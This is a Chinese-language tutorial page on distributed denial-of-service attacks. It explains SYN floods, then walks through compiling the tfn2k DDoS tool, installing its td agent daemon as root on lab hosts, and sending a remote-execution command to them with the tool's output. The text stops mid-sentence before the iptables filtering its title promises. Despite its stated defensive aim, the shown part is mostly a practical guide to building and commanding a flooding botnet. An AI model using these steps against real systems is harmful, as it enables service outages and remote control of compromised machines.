歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux綜合 >> Linux資訊 >> 更多Linux

分布式拒絕服務攻擊及iptables過濾測試

  首先,我寫這篇文章的目的,並不是我想成為什麼hacker之類,而且我不並不鼓勵任何人利用它來做一些有損他人的事情,我只是想多一些人關注網絡安全,共同研究並防御DOS。因為我是深受其害:(,所以,這篇文章僅用於技術參考,供大家研究DDOS防御之用。如果你利用它來做一些不合法的事情,那結果與我無關。     拒絕服務攻擊(DOS,Denial Of Service)可以指任何使服務不能正常提供的操作。如軟件bug,操作失誤等。不過現在因為失誤操作而造成的dos,可能性非常小,更多的是惡意的攻擊行為。現在拒絕服務攻擊早已演變為分布式拒絕服務攻擊(DDOS,Distributed Denial Of Service),利用更多的代理集中攻擊目標,其危害更大。     我們大家都知道tcp/ip協議現在已經成為整個internet框架協議,可以說,如果沒有tcp/ip,至少internet不會像現在這樣普及,甚至不可能會有internet。但凡事皆有兩面性,tcp/ip使我們大家受益,同時因為協議本身構造的問題,它也成為別人攻擊我們的工具。我們以tcp三握手建立連接的過程來說明。     一、tcp syn flood     1.客戶端(client)發送一個包含SYN(synchronize)的tcp包至服務器,此數據包內包含客戶端端口及tcp序列號等基本信息。     2.服務器(server)接收到SYN包之後,將發送一個SYN-ACK包來確認。     3.客戶端在收到服務器的SYN-ACK包之後,將回送ACK至服務器,服務器如接收到此包,則TCP連接建立完成,雙方可以進行通訊(感覺像,一拜天地...二拜高堂...送入洞房...哈哈)     問題就出在第3步,如果服務器收不到客戶端的ACK包,將會等待下去,這種狀態叫做半連接狀態。它會保持一定時間(具體時間不同操作系統不同),如果SYN請求超過了服務器能容納的限度,緩沖區隊列滿,那麼服務器就不再接收新的請求了,其他合法用戶的連接都被拒絕掉。這種攻擊往往事半'罪'倍,殺傷力超強。     當然,DOS攻擊的方法多種多樣,如:UDP flood,ICMP/Ping,ICMP/SMURF...,具體原理的介紹大家可以到 http://www.chinaitlab.com/www/special/ciwddos.ASP去看看,有很詳細的原理及常用攻擊軟件介紹。不過說到DOS攻擊軟件,最具代表的莫過於tfn2k (Tribe Flood Network 2000),其作者是德國大名鼎鼎的mixter(其主頁http://mixter.void.ru/papers.Html),好像最近正在埋頭搞什麼tfn3k,哎~~,不知道又有多少人寢食難安了...     二.tfn2k攻擊原理    1.tfn2k的攻擊體系。     tfn2k應該算是DDOS攻擊中的代表作,其所能實現的功能讓人瞠目結舌,歎為觀止...(對它的敬畏有如滔滔江水,延續不絕...)來看看它的架構。     主控端---運行tfn客戶端,來遙控並指定攻擊目標,更改攻擊方法.(罪大惡極)     代理端---被植入並運行td進程的犧牲品,接受tfn的指揮,攻擊的實施者.需要注意的是,一個攻擊者,往往控制多台代理來完成攻擊,而且其系統多為unix,Linux等.(可憐的犧牲品)     目標主機---被攻擊的主機或網絡,曾經被DDOS的有Yahoo、Amazon、CNN、e-bay等.(最大的受害者,郁悶如我)     2.tfn2k特性。     ◆ 主控端通過TCP、UDP、ICMP或隨機性使用其中之一(默認.隨機)的數據包向代理端主機發送命令,攻擊方法包括TCP/SYN、UDP、ICMP/PING、混合攻擊、TARGA3等。     ◆ 主控端與代理端的通訊采取單向,即主控端只向代理端發送命令,並且會采取隨機的頭信息,甚至虛擬的源地址信息,代理端不會逆向向主控端發送任何信息.     ◆ 所有命令經過CAST-256算法加命,其關鍵字即編譯程序時的輸入的口令.並且這個口令做為唯一認證憑證.     ◆ 利用td進程,主控端可以遠程執行shell命令.     ◆ td進程的名稱可以在編譯時更改,更便於隱藏.     ◆ tfn可以編譯運行於win32及linux系統的.     ...     至於偽造源IP地址等功能,更是基本功能,並且其與老版本的tfn相比,它的發包效率更高,我自已的測試,在短短不到5分鐘,兩台代理機,使我的redhat linux 9.0系統癱瘓.     三.tfn2k 實戰測試    1.測試環境:     軟件:redhat linux 9.0  硬件平台:   master:   IP: 192.168.0.6  PIV2.4/256*2/rtl8139   Ag1 :   IP: 192.168.0.2  PIV2.4/256*/rtl8139  AG2 : IP: 192.168.0.3  pIV2.6/512*2/3c905  AIM: 192.168.0.5  pIV2.66c/512*2/3c905  switch: D_link des 1024R     1.下載tfn2k.tgz(因為此軟件非比尋常,所以我並不提供下載地址,如果有興趣,自已到網上找吧)     2.解壓: tar zxvf tfn2k.tgz     3.修改文件     A. src/Makefile 如果你的系統是linux系統,不需要做任何修就可以,如果是win32系統,請將    # Linux / *BSD* / Others  CC = gcc  CFLAGS = -Wall -O3  CLIBS =    這幾行注釋掉,並將    # Win32 (cygwin)   #CC = gcc   #CFLAGS = -Wall -DWINDOZE -O2   #CLIBS =    這幾行的注釋去掉.因為我的測試系統為redhat linux 9.0所以並未做任何修改.     B. src/config.h ,默認的就可以用,如果感興趣,可以照其注釋信息進行調整。     C. src/ip.h 這裡要做一些修改,否則編譯會有錯誤,發生重復定義。   /*strUCt in_addr  {   unsigned long int s_addr;  };*/    注意啊~~我可是將它放在"/* */"之間,也就是注釋掉了:)     D.更改編譯器:     因為tfn2k支持的是egcs-1.1.2-30,而redhat linux9.0所包含的是gcc-3.2.2-5,所以如果不替換掉gcc,tfn2k是編譯不過去的.需要注意的是,更改之後,有可能會造成基於gcc3.2.2的軟件編譯不去,請謹慎而行.     方法很簡單的,找到一張redhat linux 6.2安裝盤,將egcs-1.1.2-30.rpm、cpp-1.1.2-30.rpm拷到~/    cd /mnt/cdrom/Redhat/RPMS   cp egcs-1.1.2-30* cpp-1.1.2-30* ~/    安裝cpp rpm -Uvh --nodeps --oldpackage cpp-1.1.2-30.i386.rpm     安裝egcs rpm -Uvh egcs-1.1.2-30.i386.rpm     (如果提示有誤,用nodeps、oldpackages、ignoreos等參數忽略過去就是了)     4.編譯tfn2k    cd tfn2k/src    make     首先會談出一個聲明,你必須接受,之後會提示輸入8-32位密碼,前邊提到過,這是唯一的認證憑證,會被分發於td進程中,所以一定要記牢噢~。     編譯通過後,會產生td及tfn,這就是大名鼎鼎的tfn2k啦~,td是守護進程,用來安裝在代理中的,而tfn就是控制端.     5.安裝td.     將td上傳到我的兩台代理,ag1(192.168.0.2)和ag2(192.168.0.3) ,因為我只不過測試,所以用的是合法的root來上傳並執行td進程的,如果真要找到並安裝一個代理,你可能得費點兒神,因為沒有一個管理員會說“come on baby ~~.我給你root,來安裝td做代理吧”    [root@test /] FTP 192.168.0.2   Connected to 192.168.0.2.   530 Please login with USER and PASS.   530 Please login with USER and PASS.   Name (192.168.0.2:root): wjpfjy   331 Please specify the passWord.   Password:   230 Login successful. Have fun.   Remote system type is UNIX.    Using binary mode to transfer files.  ftp> put td (上傳td)  local: td remote: td  227 Entering Passive Mode (192,168,0,3,198,225)  553 Could not create file.  ftp> by (退出ftp)    221 Goodbye.     [root@test /]ssh 192.168.0.2     //登陸到ag1 以執行td ,注意,我用的是root帳戶,這樣才有足夠的權限來執行它.   [email protected]'s password:    Last login: Tue Feb 24 06:51:13 2004   [root@ ag1 /]find / -name td -print     //找到剛上傳過來的文件td.   [root@ ag1 wjpfjy/]chmod a+x td     //使之具有執行權限.   [root@ ag1 wjpfjy/]./td     //運行td ,這樣你就擁有一個代理了,它會對你唯命是從的:(。    用同樣的方法在ag2 (192.168.0.3)上安裝並運行TFN2k進程td.     6.攻擊開始(悲慘的回憶上演中...)     回到master(192.168.0.6 ),准備演練...   [root@master root]#touch host.txt  //建立代理記錄文件(因為如果你足夠無聊的話,有可能會建立很多的肉雞-  //代理,不記下會忘記的噢.)   [root@master root]echo "192.168.0.2" > host.txt 將執行過td的ag1加入host.txt。  [root@master root]echo "192.168.0.3" >> host.txt 添加ag2到host.txt .    先來測試一下鏈接。     [root@master root]./tfn -f host.txt -c 10 -i "mkdir wjpfjy" 與host.txt中的代理通訊,讓其執行命令mkdir wjpfjy即建立一個目錄     Protocol : random  Source IP : random  Client input : list  Command : execute remote command     Password verification:  //這裡,會被提示輸入密碼,也就是編譯時輸入的密碼,如果錯了,將無法與td進程通訊     Sending out packets: ..    到ag1和ag2看看有沒有建立目錄名wjpfjy,一般情況下,




Copyright © Linux教程網 All Rights Reserved